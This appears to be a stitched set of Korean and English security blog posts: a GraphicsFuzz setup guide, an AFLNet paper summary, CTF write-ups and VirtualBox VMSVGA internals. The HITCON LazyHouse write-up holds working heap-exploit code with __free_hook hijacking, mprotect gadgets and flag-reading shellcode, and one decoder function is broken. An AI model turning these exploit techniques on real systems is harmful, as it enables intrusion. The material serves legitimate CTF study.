소개

https://github.com/google/graphicsfuzz

이 문서는 VMware에서 glsl 퍼저를 돌리는 방법을 설명한다. Vulkan 드라이버가 작동하지 않을 때 어떻게 작동할 수 있을지에 대해 이야기한다.

본론

퍼저 구조

퍼저는 전체적으로 서버와 클라이언트 구조로 되어 있다. 서버의 경우 클라이언트들을 웹 환경으로 관리할 수 있으며 클라이언트는 서버로부터 파일을 받아 이를 구동시키는 역할을 한다. 클라이언트의 경우 worker로 불리며 서버 웹 페이지를 이용하여 worker에 일을 할당할 수 있다.

https://github.com/google/graphicsfuzz/releases/tag/v1.3

서버의 경우 prebuilt binary (위 링크의 graphicsfuzz.zip)를 통해 구동할 수 있다. 압축을 풀고난 뒤 python/drivers에 가면 glsl-server가 있다. 해당 서버를 구동하면 된다.

예시 : glsl-server --port 31337 (pwd는 작업할 위치로 바이너리 위치와 상관 없이 따로 생성해야 한다)

클라이언트의 경우 마찬가지로 prebuilt binary (위 링크의 gles-worker-desktop.jar)가 있으며 이를 다운로드 받아서 실행시켜주어야 한다. VM guest 안에서 실행시켜주면 되며 마찬가지로 폴더를 하나 생성해서 그 안에서 실행시켜주면 된다.

예시 : java -ea -jar gles-worker-desktop.jar --server http://localhost:31337

자세한 퍼저 작동은 링크에 있다. 해당 문서의 Running the servergles-desktop-worker 파트를 보면 된다.

준비물

준비물은 간단하다. Release에 동봉되어 있는 (graphicsfuzz.zip) 셰이더 파일들을 준비해주면 된다. 해당 파일들을 통해 이후 단계에서 variant를 생성할 것이기 때문에 이를 미리 준비해놓자.

퍼저 구동

퍼저를 구동하기 위해서 3가지 단계를 거쳐야 한다.

  1. glsl-generate 실행
  2. glsl-server 실행, worker 실행
  3. worker에 job 할당

glsl-generate

glsl-generate의 경우 shader family를 생성하는데 사용된다. 지금 단계에서 생성하는 shader family는 퍼징을 수행할 때 worker가 실행하는 입력으로 들어가게 된다. 아래 명령어를 통해 실행할 수 있다.

glsl-generate ../prebuilt/shaders/samples/100 ../prebuilt/shaders/samples/100 100 family_100 shaderfamilies

첫째로 reference와 donor를 요구하는데 둘 모두 같은 위치로 shader 파일들이 들어있는 폴더를 지정하면 된다.
둘째로 variant를 몇개 생성할 것인지 요구한다. 위 예시에서는 100을 주었다.
셋째로 variant 이름을 지정한다. 위에서는 family_100으로 주었다.
넷째로 variant를 만들 대상 폴더를 지정한다. 위에서는 shaderfamilies 폴더로 지정했으며, 해당 이름은 고정으로 필수로 shaderfamilies로 주어야 한다. (다른 이름을 사용할 경우 서버 실행에 옵션으로 주어야 한다)

glsl-server 실행

shaderfamilies가 있는 곳에 pwd를 옮기고 glsl-server를 실행한다. --port 옵션으로 포트를 지정할 수 있다.

서버를 실행하고 나면 http://<ip address>:<port>/webui로 웹 인터페이스를 볼 수 있다.

job 할당

Job 할당의 경우 Run shader families on workers를 선택한 후 worker와 shader families를 지정해주면 된다. 이 이전에 worker가 실행되어야 worker 목록에 나오게 된다.

Worker를 실행하는 방법은 매우 간단히 주어진 gles-worker-desktop.jar 를 실행하면 된다.

예시 : java -ea -jar gles-worker-desktop.jar

--server 옵션으로 서버를 지정할 수도 있다. webui가 열려있는 서버를 지정해주면 된다.

예시 : java -ea -jar gles-worker-desktop.jar --server http://localhost:31337

'보안 > Fuzzing' 카테고리의 다른 글

AFLNET: A Greybox Fuzzer for Network Protocols  (0) 2021.01.19

https://www.comp.nus.edu.sg/~abhik/pdf/AFLNet-ICST20.pdf
https://github.com/aflnet/aflnet

주의

지극히 개인적인 의견만 들어가 있습니다. (본인도 뭘 썼는지 모르겠음)

선정 이유

이번에 공격 벡터로 네트워크를 선택하면서 네트워크 프로토콜에 대한 퍼징 방법을 공부할 필요가 있었다. BOOFuzz와 같은 퍼저도 있었지만 그 중에서 그나마 친숙한 AFL에서 어떻게 네트워크 퍼징을 수행하였는지 알아보기 위해 해당 논문을 선택하였다.

요약

문제 특성

네트워크 프로토콜에서 퍼징을 진행하기 쉽지 않다. CGF (Coverage-based Greybox Fuzzing)이나 SBF (Stateful Blackbox Fuzzing)과 같은 여러 시도가 있었지만 네트워크 프로토콜의 특성에 따라 한계가 존재한다.

  1. 서버는 stateful하고 message-driven이다.
  2. 서버는 state에 의해 응답이 결정되기 때문에 CGF로써는 이런 특성을 잡아내는게 쉽지 않다. (State를 tracking하는 기능이 없기 때문이다)

CGF with Concatenated Files

CGF를 통해 concatenated file들을 만들어 테스트 입력으로 넣어보는 시도가 있었다. 하지만 이는 매우 비효율적인 방법이다.

  1. 각 iteration마다 전체 시드 파일에 대해 mutation을 진행해야 한다. 만약에 $m_0 \thicksim m_k$의 message sequence가 있다면 전체를 mutate하는 것보다 가장 가능성 있는 $m_i$만 mutate 하는 것이 효율적이다.
  2. 프로그램 상태에 대한 정보가 없다면 많은 message sequence들이 거절당할 수 있다.

위의 한계점들로 인해 stateful program을 퍼징하는데 가장 많이 사용되는 기술은 SBF이다.

SBF

앞에서 언급한 CGF의 한계들 때문에 SBF를 사용하여 네트워크를 퍼징하는 것을 시도하는 연구가 많았다. 이는 프로토콜 모델을 돌면서 FSM이나 그래프 형태로 메세지의 데이터 모델이나 문법을 정보를 얻고 이를 토대로 메세지 시퀀스를 생성하는데 여러 문제가 존재한다.

  • 하지만 이는 개발자가 프로토콜에 대해 얼마나 잘 이해했고 잘 구현했는지, 또 클라이언트와 서버 간의 샘플 패킷들에 의존적이다.
  • 또한 SUT에 구현되어 있는 프로토콜에 대한 정보를 정확하게 추출하지 못하는 경우가 많다.
  • 다른 여타 블랙박스 퍼징과 동일하게 인상깊은 테스트 케이스들을 보유하지 못한다. (Coverage와 같은 정보가 없기 때문)
  • 또한, 런타임에 상태 정보를 업데이트 하지 않는다.

AFLNet

위의 문제들을 보완할 수 있도록 stateful CGF 툴을 만들었다. AFLNet은 자동으로 상태 모델을 유도하고 coverage guided fuzzing을 사용하여 새로운 상태들을 찾고 상태 모델을 개선한다. 또한, 그동안 동적으로 만들어진 상태 모델은 state coverage와 code coverage에 대한 정보를 제공하여 퍼징이 더 잘 일어날 수 있도록 한다.

용어들

  • 서버 : 원격으로 접근 가능한 소프트웨어 시스템
  • 클라이언트 : 서버에서 제공하는 서비스를 사용하는 소프트웨어 시스템
  • 메세지 시퀀스 : 메세지 벡터
  • 요청 : 클라이언트로부터의 메세지
  • 응답 : 서버로부터의 메세지
  • 서버 상태 : 클라이언트와의 통신 중 서버의 특정 상태

퍼저의 경우 클라이언트로 작동하며 서버의 경우 서버로써 작동한다.

디자인 및 구성

AFLNet은 AFL의 확장 버전이라고 생각하면 된다. AFLNet은 두 채널을 제공하는데, 하나는 메세지를 서버에 보내기 위한 채널, 다른 하나는 서버에서 응답을 받기 위한 채널이다. 서버에서 응답을 받기 위한 채널은 state feedback을 받거나 code coverage를 받는데 사용한다. AFLNet은 기본적인 C 소켓 라이브러리를 사용하며, 적절한 동기화를 위해 요청 간 딜레이가 포함되어 있다.

AFLNet의 입력으로는 네트워크 트래픽을 포함한 pcap 파일을 넣어주면 된다. 넣어준 파일은 AFLNet의 Request Sequence Parser에 의해 파싱되어 초기 메세지 시퀀스를 생성하는데 사용된다.

이후 State Machine Learner가 서버 응답들을 가지고 state machine을 업데이트 한다. 그 후 업데이트 된 state machine을 Target State Selector가 참조하여 다음으로 탐색할 state를 지정한다. 각종 휴리스틱 알고리즘을 적용하여 퍼저가 어떤 state에 집중해야 할 지 지정한다. 이후 지정된 state에 도달하기 위해 Sequence Selector가 message sequence를 선택한다. 이때 AFL이 관리하는 seed corpus와 유사하게 AFLNet은 state corpus를 추가로 관리하여 state에 대한 정보들을 저장한다. 저장된 정보는 Sequence Selector가 참조하여 message sequence를 랜덤으로 선택하는데 사용된다.

Sequence Mutator는 선택된 sequence에 대한 mutation을 진행한다. 이는 generation-based approach에 비해 장점이 있는데, (1) 비교적 유효한 message sequence를 생성할 수 있고, (2) 특정 중요한 message sequence에 변형을 가해 corpus를 더 발전시킬 수 있다.

Mutation 과정은 아래와 같다.

Algorithm : State $s$와 message sequence $M$이 주어졌을 때 해당 알고리즘은 새로운 message sequence $M'$를 생성한다.

  1. Original sequence $M$을 3 파트로 나눈다.
    1. Prefix $M_1$ : state $s$에 도달하기 위한 sequence
    2. Candidate subsequence $M_2$ : state $s$에 남아 있을 수 있으면서 실행 가능한 message subsequence
    3. Suffix $M_3$ : 나머지 sequence 부분 ($<M_1, M_2, M_3> = M$)
  2. 새로운 sequence $M'$를 $M'=<M_1, mutate(M_2), M_3>$로 생성한다.
    • Protocol-aware mutation operator $mutate$를 사용한다. 주어진 corpus $C$에서 (Message Pool) message를 가져와 이와 기존 message와 replacement, insertion, duplication, deletion 등의 작업을 수행한다. 또한, 기존 mutation 방법인 bit flipping, substition, insertion, deletion of blocks 등의 작업도 수행한다.
  3. 새롭게 생성된 $M'$를 중요하다고 판단하고 이를 corpus $C$에 추가한다. 또한, sequence에 의해 새로운 state나 state transition이 발견될 경우 해당 sequence를 중요하다고 판단한다.

총평

정확한 알고리즘이나 방법에 대해서는 서술이 되어 있지 않지만 소스코드가 주어져 있으며 case study가 나름 잘 되어 있어서 더 깊게 이해하는데 어려움이 없을 것으로 생각된다. 또한, 아키텍쳐가 상당히 명확해서 이해하기가 쉬웠다.
다만 아쉬운 점은 IP와 같은 프로토콜의 경우 체크섬이 있는데 해당 체크섬을 어떻게 통과할 수 있는지에 대한 서술이 없다는 것이다. 또한, IPSM을 어떻게 생성해 나가는지에 대한 설명도 없어 아쉽다.

'보안 > Fuzzing' 카테고리의 다른 글

Running glsl fuzzer in VM (graphicsfuzz from Google)  (0) 2021.01.19

Introduction

When we peek at file given by the challenge, the file starts with GCTF(which might mean google ctf), and we don't find any noticable information from this file. So for more information, we tried to send some random data to remote server.

a
Expected P6 as the header

The server expects us to send P6 as the header. So we tried to send P6 and some random data.

P6
a
Expected width and height

The server expects us to send width and height, so we sent it.

P6
300 300
a
Expected 255

Now the server expects 255, so we sent 255 instead of a. Then the server starts to receive data. So we tried to limit the width and height to 1 and send some random data.

[+] Opening connection to proprietary.ctfcompetition.com on port 1337: Done
[DEBUG] Sent 0x3 bytes:
    'P6\n'
[DEBUG] Sent 0x4 bytes:
    '1 1\n'
[DEBUG] Sent 0x4 bytes:
    '255\n'
[DEBUG] Sent 0x3 bytes:
    '\x11' * 0x3
[DEBUG] Received 0x10 bytes:
    00000000  47 43 54 46  01 00 00 00  01 00 00 00  00 11 11 11  │GCTF│····│····│····│
    00000010
[*] Closed connection to proprietary.ctfcompetition.com port 1337

It receives 3 bytes and prints out data.

Observation

We tried to figure out what the result that the server gives means. By testing several test data, we figured out some information.

  1. The server receives $3 \times width \times height$ length data.

  2. The result contains GCTF at start, 4 bytes which indicate width, 4 bytes which indicate height, and the result data after 12 bytes.

    So we guessed that the server receives 24-bit color mapped picture, compress that data, and prints out GCTF+width+height, and result.

Analysis

We tried giving the server random data of width 2, height 2. Then, we figured out some rules of how the server compresses our data.

Input : ffffffffffffffffffaaaaaa
Output : 
47435446
02000000
02000000
08ffffff
00aaaaaa

Input : ffffffaaaaaaffffffffffff
Output :
47435446
02000000
02000000
02ffffff
00aaaaaa

Input : ffffffaaaaaaffffffaaaaaa
Output : 
47435446
02000000
02000000
0affffff
00aaaaaa
00aaaaaa

Input : aaaaaaffffffaaaaaaffffff
Output : 
47435446
02000000
02000000
0aaaaaaa
00ffffff
00ffffff

Input : aaaaaaffffffffffffffffff
Output : 
47435446
02000000
02000000
01ffffff
00aaaaaa

Input : ffffffffffffaaaaaaffffff
Output : 
47435446
02000000
02000000
04ffffff
00aaaaaa

Input : ffffffffffffaaaaaaaaaaaa
Output : 
47435446
02000000
02000000
0cffffff
00aaaaaa
00aaaaaa

The input and output are expressed in hex values, and output is split with newline after every 4 bytes. We figured out the result follows the rules:

  1. 4 bytes are indexed with 1, 2, 4, 8 in order.
  2. Choose dominant color. If the number of dominant color is same with the number of second dominant color, choose the color which appears faster.
  3. Sum up indexes of non-dominant colors. For example, if input is ffffff/ffffff/aaaaaa/aaaaaa, then we get dominant color ffffff, the sum of indexes is 4+8=0xc.
  4. Concatenate the summation we calculated above next to the dominant color. Then we reverse the bytes and print out to result.
  5. We now concatenate a null byte next to non-dominant color. Then we reverse the bytes and print out to result. We repeat this task sequentially for every non-dominant color.

We also tried other data and we figured out if two color data is close enough(up to about 0x12 difference in color bytes), then they are considered as same color.

After we figured out the compression rules of 2 x 2 images, we started to test 4 x 4 images. Then, we figured out the following rules.

  1. 4 pieces(which are 2 x 2 images) are indexed with 1, 2, 4, 8 in order.
  2. Check these pieces if one piece is filled with a single color. If there are no such piece, print 0x0f and follow the rules of 2x2 in order.
  3. If at least one piece is filled with a single color, sum up indexes of pieces that are not consisted of a single color. Then, we print the reverse of color+sum, and we follow the rules of 2x2 in order, excluding pieces of single color.

Next we expanded our test data to 8 x 8, and we figured out that the compression algorithm is in recurrence relation(with base condition with 2 x 2 piece).

Rules

Basic condition

  1. If two colors have difference lesser than 0x12 in their bytes, they are considered as same color.

Rules in 2 x 2

  1. 4 colors are indexed with 1, 2, 4, 8 in order
  2. Choose one dominant color. Next, we write that color in front, with their bytes reversed.
    ex) If the dominant color is 0x343536:
    If the dominant color is at 2, 4, then the compression result is 0x09363534. (0x09 = 1+8)

Rules in 4 x 4

  1. 4 pieces(2 x 2 images) are indexed with 1, 2, 4, 8 in order.

  2. We inspect 4 pieces and check if there is a piece filled with a single color. If such piece doesn't exist, add 0x0f to result.

  3. If there are at least one piece filled with a single color, sum up numbers of indexes of pieces that are not filled with single color. For example, if 2, 4 pieces are not filled with a single color, the result is 0x09.

    ex) 0x11 0x11 0x33 0x33

      0x11  0x11  0x33  0x55
      0x55  0x55  0x77  0x77
      0x99  0x99  0xbb  0xbb

    (I wrote one byte assuming 3 bytes of color are all same. (0x11 = 0x111111))
    1) If there is a piece filled with a single color : at index 1 :arrow_right: 0x0e111111 (If there is no such piece, just add 0x0f)
    2) We checked the first piece is filled with a single color : pass.
    3) dominant : 0x33 : 0x08333333

     non dominant : 0x00555555

    4) dominant : 0x55 : 0x0c555555

     non dominant : 0x00999999
     non dominant : 0x00999999

    5) dominant : 0x77 : 0x0c777777

     non dominant : 0x00bbbbbb
     non dominant : 0x00bbbbbb

Rules in n x n

  1. If n is not 2^k, we fill empty spaces with 0x000000 padding.
  2. We now split the data with 2 x 2, follow the recurrence relation defined in 4 x 4 rules, with base condition rules defined in 2 x 2 rules.

Solve

We now know how the compression algorithm works. Now we write decompress code and get the flag.

from pwn import *

data = open("flag.ctf", "rb").read()

seek = 12

# color_data[height][width]
color_data = [[0x00 for i in xrange(1024)] for j in xrange(1024)]

# fill color from sx(width), sy(height) to tx, ty
def fill_color(sx, sy, tx, ty, color):
        for j in xrange(sy, ty):
            color_data[j][i] = color

# do recursion from sx(width), sy(height) with size(current block size)
def do_recursion(sx, sy, size):
    global data
    global seek
    global color_data
    # base condition
    if size == 2:
        byte_filter = bin(ord(data[seek]))[2:]
        byte_filter = "0"*(4-len(byte_filter)) + byte_filter
        seek += 1
        byte_color = u32(data[seek:seek+3]+"\x00")
        seek += 3
        for i in xrange(4):
            if byte_filter[3-i] == '1':
                color_data[sy+i/2][sx+(i%2)] = u32(data[seek+1:seek+4]+"\x00")
                seek += 4
            else:
                color_data[sy+i/2][sx+(i%2)] = byte_color

    # recurrence relation
    else:
        byte_filter = bin(ord(data[seek]))[2:]
        byte_filter = "0"*(4-len(byte_filter)) + byte_filter
        seek += 1
        if byte_filter == "1111":
            do_recursion(sx, sy, size/2)
            do_recursion(sx+size/2, sy, size/2)
            do_recursion(sx, sy+size/2, size/2)
            do_recursion(sx+size/2, sy+size/2, size/2)
        else:
            byte_color = u32(data[seek:seek+3]+"\x00")
            seek += 3
            for i in xrange(4):
                if byte_filter[3-i] == '1':
                    do_recursion(sx+(i%2)*size/2, sy+(i/2)*size/2, size/2)
                else:
                    fill_color(sx+(i%2)*size/2, sy+(i/2)*size/2, sx+(i%2)*size/2+size/2, sy+(i/2)*size/2+size/2, byte_color)

do_recursion(0, 0, 1024)

bmp_header = "42 4D B6 FC 0A 00 00 00 00 00 36 00 00 00 28 00 00 00 58 02 00 00 90 01 00 00 01 00 18 00 00 00 00 00 80 FC 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00".replace(" ", "")
bmp_header = bmp_header.decode("hex")

# result is color data
with open("result.bmp", "w") as f:
    f.write(bmp_header)
    for i in xrange(400):
        for j in xrange(600):
            dat = hex(color_data[400-i][j])[2:]
            if len(dat) % 2 == 1:
                dat = "0"+dat
            dat = dat.decode("hex")
            assert len(dat) <= 3
            dat = "\x00"*(3-len(dat))+dat
            f.write(dat)

Flag : CTF{P1c4s0_woU1d_B3_pr0UD}

'보안 > CTF Writeups' 카테고리의 다른 글

HITCON 2019 Quals LazyHouse Writeup  (1) 2021.01.19
SSTF Hacker's Playground Write-up  (0) 2021.01.19

https://github.com/candymate/pwn/tree/master/HITCON%202019%20Quals/lazyhouse

Description

My teammate, Lays, wants a house. Can you buy one for him?
flag: /home/lazyhouse/flag

nc 3.115.121.123 5731

Analysis

The problem is just a simple menu heap challenge, with some seccomp rules. (like execve being blocked) In this challenge, we can allocate, free, print chunks, as well as two chances of modification + 32 byte overflow, and 1 malloc chance.

The allocation of chunk needs size and money, where size is bigger than 0x7f, and money is bigger than 218*size. The allocation uses calloc to get chunk, so it doesn't use tcache in allocation. Moreover, the number of entries in chunk list is 8, so we can get 8 different chunks in maximum.

Freeing chunks refunds money of size*64, and it deletes chunk from the bss list, so it's impossible to free same chunk multiple times.

We can print chunks with write function if the chunk is in the house list. Also, we have 2 chances to upgrade house, which allows us to modify content of chunk + 32 bytes of heap overflow. We can also allocate chunk with size 0x220, with malloc once.

Bug

There is a bug in buying house, which allows us to buy houses with negative size. In buying house, it compares unsigned size with signed 0x7f, so we can give size with negative value. However, we need to ensure that 218*size is lesser than our money, since it performs unsigned comparison.

Also, there is an intended bug in upgrading house, which allows us to do 32 byte heap overflow twice.

Exploit

Money cheat

Because unsigned size value we give in buying house is compared with signed 0x7f, we can give negative size to buy house, and sell it to increase our money. So we can make our money super large by buying house with proper size, and selling it.

# money cheat
polluted_size = -(((219 << 64) / 218) % (1 << 64))
r.sendlineafter("choice: ", "1")
r.sendlineafter("Index:", "0")
r.sendlineafter("Size:", str(polluted_size))
r.interactive()
sell_house(0)

Libc and tcache struct address leak by chunk overlapping 2

By using chunk overlapping 2 (Link), we can leak libc and heap address. Two chunks are overlapped for later processes.

# filling tcaches
for i in xrange(7):
  buy_house(0, 0x88, "Z")
  sell_house(0)
for i in xrange(7):
  buy_house(0, 0x98, "Z")
  sell_house(0)
for i in xrange(7):
  buy_house(0, 0x1f8, "Z")
  sell_house(0)

buy_house(0, 0x88, "A")
buy_house(1, 0x98, "B")
buy_house(2, 0x418, "C") # chunk to be overlapped
buy_house(3, 0x418, "D") # chunk to be overlapped
buy_house(4, 0x98, "E")
buy_house(5, 0x88, "F") # chunk to block coalescing

sell_house(4)
upgrade_house(0, "G"*0x88+p64(0xa0+0x420+0x420+1))
sell_house(1)

# leak libc address
buy_house(1, 0x98, "H") # size is 0x98 to write arena address in 2

libc_leak = u64(show_house(2)[0:8])
log.success("libc leak addr : "+hex(libc_leak))

libc_base = libc_leak - 0x7fb657832ca0 + 0x7fb65764e000
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

# cleanup
sell_house(5)
sell_house(1)
sell_house(0)

# leak heap address
payload = "K"*(0x90+0xa0-8)
payload += p64(0x31) # fake size 0x31 (2nd entry of tcache entries)
payload += "L"*0x418
payload += p64(0x21) # fake size 0x21 (1st entry of tcache entries)
payload += "L"*0x18
payload += p64(0x401)
buy_house(4, 0x90+0xa0+0x420+0x420-8, payload)

# free two chunks to put them in tcache struct
sell_house(2) # to 0x31 entry
sell_house(3) # to 0x21 entry

# leak tcache struct addr (actually tcache key in 2.29)
heap_leak = u64(show_house(4)[0x138:0x140])
log.success("heap leak addr : "+hex(heap_leak))
chunk_base = heap_leak-0x10

House of Lore to overwrite free hook

In tcache struct, tcache count list and tcache entries are adjacent. Because of that, we can create fake chunk structure in tcache struct, by putting 1st and 2nd tcache entry by freeing chunks size 0x20 and 0x30, and fake size (in this case, 0x301)by freeing chunks size 0x3a0 and 0x3b0. After house of lore, tcache entries will be overwritten, so that we can do arbitrary write by buying super house.

# house of lore
buy_house(4, 0x90+0xa0+0x420-8+0x10, "M")
buy_house(5, 0x1f8, "N")
buy_house(6, 0x1f8, "O")

sell_house(5)
buy_house(5, 0x4b8, "P")

payload = "Q"*(0x90+0xa0-8+0x10)
payload += p64(0x421) # restore chunk size
payload += p64(chunk_base+0x40) # fake chunk 2
payload += "R"*0x410
payload += p64(0x201) # for checking (looks like size)
payload += p64(libc_leak-96+592) # fake chunk 1
payload += p64(chunk_base+0x40) # fake chunk 1
upgrade_house(4, payload)

buy_house(1, 0x1f8, "S")

# pre process for super size house
buy_house(0, 0x217, "PLUS")
sell_house(0)

# fake size in tcache struct (0x301)
buy_house(0, 0x398, "Z")
sell_house(0)
for i in xrange(3):
  buy_house(0, 0x3a8, "Z")
  sell_house(0)

# overwrite tcache entries
target = free_hook
log.info ("target: " + hex(target))
payload = ""
payload += "/bin/sh\0"+p64(target)*17*2 
buy_house(0, 0x1f8, payload)

Call mprotect and run shellcode

Overwrite __free_hook to call mprotect, then run shellcode.

xchg_gadget = libc_base + 0x0000000000158023
call_mprotect = libc_base + 0x0000000000117590
how_gadget = libc_base + 0x00000000001080fc
push_rdi_ret = libc_base + 0x000000000004c745
log.info ("b * {}".format (hex(how_gadget)))
ss = p64(how_gadget)
buy_super_house(ss)

pay = p64(call_mprotect) + p64(heap_leak + 0x4ff0) 
context.arch = 'amd64'
context.os = 'linux'

sc = asm(shellcraft.amd64.open ("/home/lazyhouse/flag", 0))
sc += asm(shellcraft.amd64.read ('rax', 'rsp', 100))
sc += asm(shellcraft.amd64.write (1, 'rsp', 100))
pay2 = p64(heap_leak+0x4220) + "\x90" * 0x20 + sc
print len (pay2)
buy_house (2, 0x850, "ASDF")
buy_house (7, 0x200, pay)
buy_house (3, 0x200, pay2)

r.sendafter("choice: ", "3".ljust(0x20, "b"))
r.sendafter("Index:", "7".ljust(32,"a"))
#sell_house(0)
sell_house (3)
r.interactive()

Full code

Link

'보안 > CTF Writeups' 카테고리의 다른 글

Google CTF 2018 Proprietary Format write-up  (0) 2021.01.19
SSTF Hacker's Playground Write-up  (0) 2021.01.19

소개

VirtualBox의 디스플레이 세팅을 보게 되면 Graphicss Controller와 Acceleration 세팅이 있다. 해당 컨트롤러에서 VMSVGA를 선택하면 SVGA를 사용하게 된다. Linux를 OS로 선택하면 3D acceleration 옵션까지 켤 수 있다.

이 문서에서는 SVGA의 내부 구조와 작동 방식에 대해 설명한다.

Contents

Graphics Device Architecture

SVGA는 해당 옵션이 켜져 있을 때 게스트에서 해당 디바이스의 커널 드라이버를 통해 접근할 수 있다. 크게 두 방법으로 접근 가능한데, (1) MMIO를 통한 FIFO 메모리 접근, (2) Port I/O를 통한 SVGA Register 접근이 가능하다. 해당 두 상태를 설정해놓으면 VM 구현 코드에서 데이터를 가져가 상태에 맞는 기능을 수행하게 된다. 위 그림의 경우 VMware 기준으로 설명이 되어 있지만 VirtualBox도 동일한 방식으로 작동한다.

SVGA Structure and Port I/O

SVGA의 경우 게스트 입장에서는 PCI 디바이스를 통해 접근할 수 있다. 위 도식에서 BAR 0, 1, 2는 각각 I/O 포트 번호, 글로벌 프레임 버퍼의 물리 주소, FIFO의 물리 주소를 나타낸다. IRQ의 경우 Interrupt Request의 약자로 인터럽트가 들어오는 것을 처리하는데 사용된다. I/O를 처리하는 것을 아래 코드로 살펴보자.

// VBox/Graphics/DevVGA.cpp:6661
pThis->hIoPortVmSvga    = NIL_IOMIOPORTHANDLE;
pThis->hMmio2VmSvgaFifo = NIL_PGMMMIO2HANDLE;
if (pThis->fVMSVGAEnabled)
{
    /* Register the io command ports. */
    rc = PDMDevHlpPCIIORegionCreateIo(pDevIns, pThis->pciRegions.iIO, 0x10, vmsvgaIOWrite, vmsvgaIORead, NULL /*pvUser*/,
                                      "VMSVGA", NULL /*paExtDescs*/, &pThis->hIoPortVmSvga);
    AssertRCReturn(rc, rc);

    rc = PDMDevHlpPCIIORegionCreateMmio2Ex(pDevIns, pThis->pciRegions.iFIFO, pThis->svga.cbFIFO,
                                           PCI_ADDRESS_SPACE_MEM, 0 /*fFlags*/, vmsvgaR3PciIORegionFifoMapUnmap,
                                           "VMSVGA-FIFO", (void **)&pThisCC->svga.pau32FIFO, &pThis->hMmio2VmSvgaFifo);
    AssertRCReturn(rc, PDMDevHlpVMSetError(pDevIns, rc, RT_SRC_POS,
                                           N_("Failed to create VMSVGA FIFO (%u bytes)"), pThis->svga.cbFIFO));

    pPciDev->pfnRegionLoadChangeHookR3 = vgaR3PciRegionLoadChangeHook;
}

위 코드에서 I/O 핸들링을 어떻게 하는지, FIFO MMIO를 어떻게 처리할지에 대한 설정을 하고 있음을 확인할 수 있다. VRAM의 경우에는 VMSVGA 세팅에 상관없이 VGA에서 처리한다.

// VBox/Devices/Graphics/DevVGA.cpp:6680
/*
 * Allocate VRAM and create a PCI region for it.
 */
rc = PDMDevHlpPCIIORegionCreateMmio2Ex(pDevIns, pThis->pciRegions.iVRAM, pThis->vram_size,
                                       PCI_ADDRESS_SPACE_MEM_PREFETCH, 0 /*fFlags*/, vgaR3PciIORegionVRamMapUnmap,
                                       "VRam", (void **)&pThisCC->pbVRam, &pThis->hMmio2VRam);
AssertLogRelRCReturn(rc, PDMDevHlpVMSetError(pDevIns, rc, RT_SRC_POS,
                                                 N_("Failed to allocate %u bytes of VRAM"), pThis->vram_size));

SVGA Handling

SVGA I/O나 MMIO로 접근하게 되면 vmsvgaIORead, vmsvgaIOWrite 콜백 함수들에서 해당 데이터들을 처리하게 된다. 들어오는 포트에 따라 이를 처리하는 루틴이 달라진다.

// VBox/Devices/Graphics/DevVGA-SVGA.cpp:2037
/**
 * @callback_method_impl{FNIOMIOPORTNEWIN}
 */
DECLCALLBACK(VBOXSTRICTRC) vmsvgaIORead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT offPort, uint32_t *pu32, unsigned cb)
{
    PVGASTATE   pThis = PDMDEVINS_2_DATA(pDevIns, PVGASTATE);
    RT_NOREF_PV(pvUser);

    /* Only dword accesses. */
    if (cb == 4)
    {
        switch (offPort)
        {
            case SVGA_INDEX_PORT:
                *pu32 = pThis->svga.u32IndexReg;
                break;

            case SVGA_VALUE_PORT:
                return vmsvgaReadPort(pDevIns, pThis, pu32);

            case SVGA_BIOS_PORT:
                Log(("Ignoring BIOS port read\n"));
                *pu32 = 0;
                break;

            case SVGA_IRQSTATUS_PORT:
                LogFlow(("vmsvgaIORead: SVGA_IRQSTATUS_PORT %x\n", pThis->svga.u32IrqStatus));
                *pu32 = pThis->svga.u32IrqStatus;
                break;

            default:
                ASSERT_GUEST_MSG_FAILED(("vmsvgaIORead: Unknown register %u was read from.\n", offPort));
                *pu32 = UINT32_MAX;
                break;
        }
    }
    else
    {
        Log(("Ignoring non-dword I/O port read at %x cb=%d\n", offPort, cb));
        *pu32 = UINT32_MAX;
    }
    return VINF_SUCCESS;
}

vmsvgaReadPortvmsvgaWritePort에서는 SVGA Register 값들을 세팅하게 된다. 예를들어, SVGA_REG_ID로 값을 읽으려 시도하면 SVGA id가 리턴된다.

반면에 FIFO 메모리와 VRAM의 경우 직접 해당 메모리 영역에 값을 쓰게 된다. (각각 pThisCC->svga.pau32FIFO, pThisCC->pbVRam) FIFO의 경우 이후 FIFO loop에서 커맨드를 하나씩 잘라서 처리하게 된다.

SVGA PCI Device

게스트 입장에서 SVGA 디바이스에 접근할 때에는 PCI 디바이스를 통해 접근할 수 있다. 게스트 입장에서 볼 수 있는 PCI 디바이스는 다음과 같다.

vm@vm:~$ lspci
(...)
00:02.0 VGA compatible controller: VMware SVGA II Adapter
(...)

코드상으로 해당 PCI 디바이스를 찾아 연결하기 위해서 vendor와 device id를 맞춰주어야 한다. 해당 id들은 svga_reg.h에 정의되어 있다.

// VBox/Devices/Graphics/vmsvga/svga_reg.h:41
/*
 * PCI device IDs.
 */
#define PCI_VENDOR_ID_VMWARE            0x15AD
#define PCI_DEVICE_ID_VMWARE_SVGA2      0x0405

코드상으로 연결하는 방법은 다양한 방법이 있지만 libpciaccess를 이용하여 연결하는 예시 코드는 아래와 같다.

// https://github.com/renorobert/virtualbox-vmsvga-bugs/blob/master/CVE-2017-10210/svga.c
int conf_svga_device(void)
{
    struct pci_device *dev;
    struct pci_device_iterator *iter;
    struct pci_id_match match;
    uint16_t command;

    if (getuid() != 0 || geteuid() != 0) 
        errx(EXIT_FAILURE, "[!] Run program as root");

    iopl(3);

    if (pci_system_init())
        return -1;

    match.vendor_id = PCI_VENDOR_ID_VMWARE;
    match.device_id = PCI_DEVICE_ID_VMWARE_SVGA2;
    match.subvendor_id = PCI_MATCH_ANY;
    match.subdevice_id = PCI_MATCH_ANY;
    match.device_class = 0;
    match.device_class_mask = 0;

    iter = pci_id_match_iterator_create(&match);
    dev = pci_device_next(iter);

    if (dev == NULL) {
        pci_cleanup(iter);
        return -1;
    }

    pci_device_probe(dev);

    gSVGA.ioBase = dev->regions[0].base_addr;
    gSVGA.fbMem = (void *)dev->regions[1].base_addr;
    gSVGA.fifoMem = (void *)dev->regions[2].base_addr;

    command = pci_device_cfg_read_u16(dev, 0, 4);
    pci_device_cfg_write_u16(dev, command | 7, 4);

    SVGA_WriteReg(SVGA_REG_ID, SVGA_ID_2);
    SVGA_WriteReg(SVGA_REG_ENABLE, true);

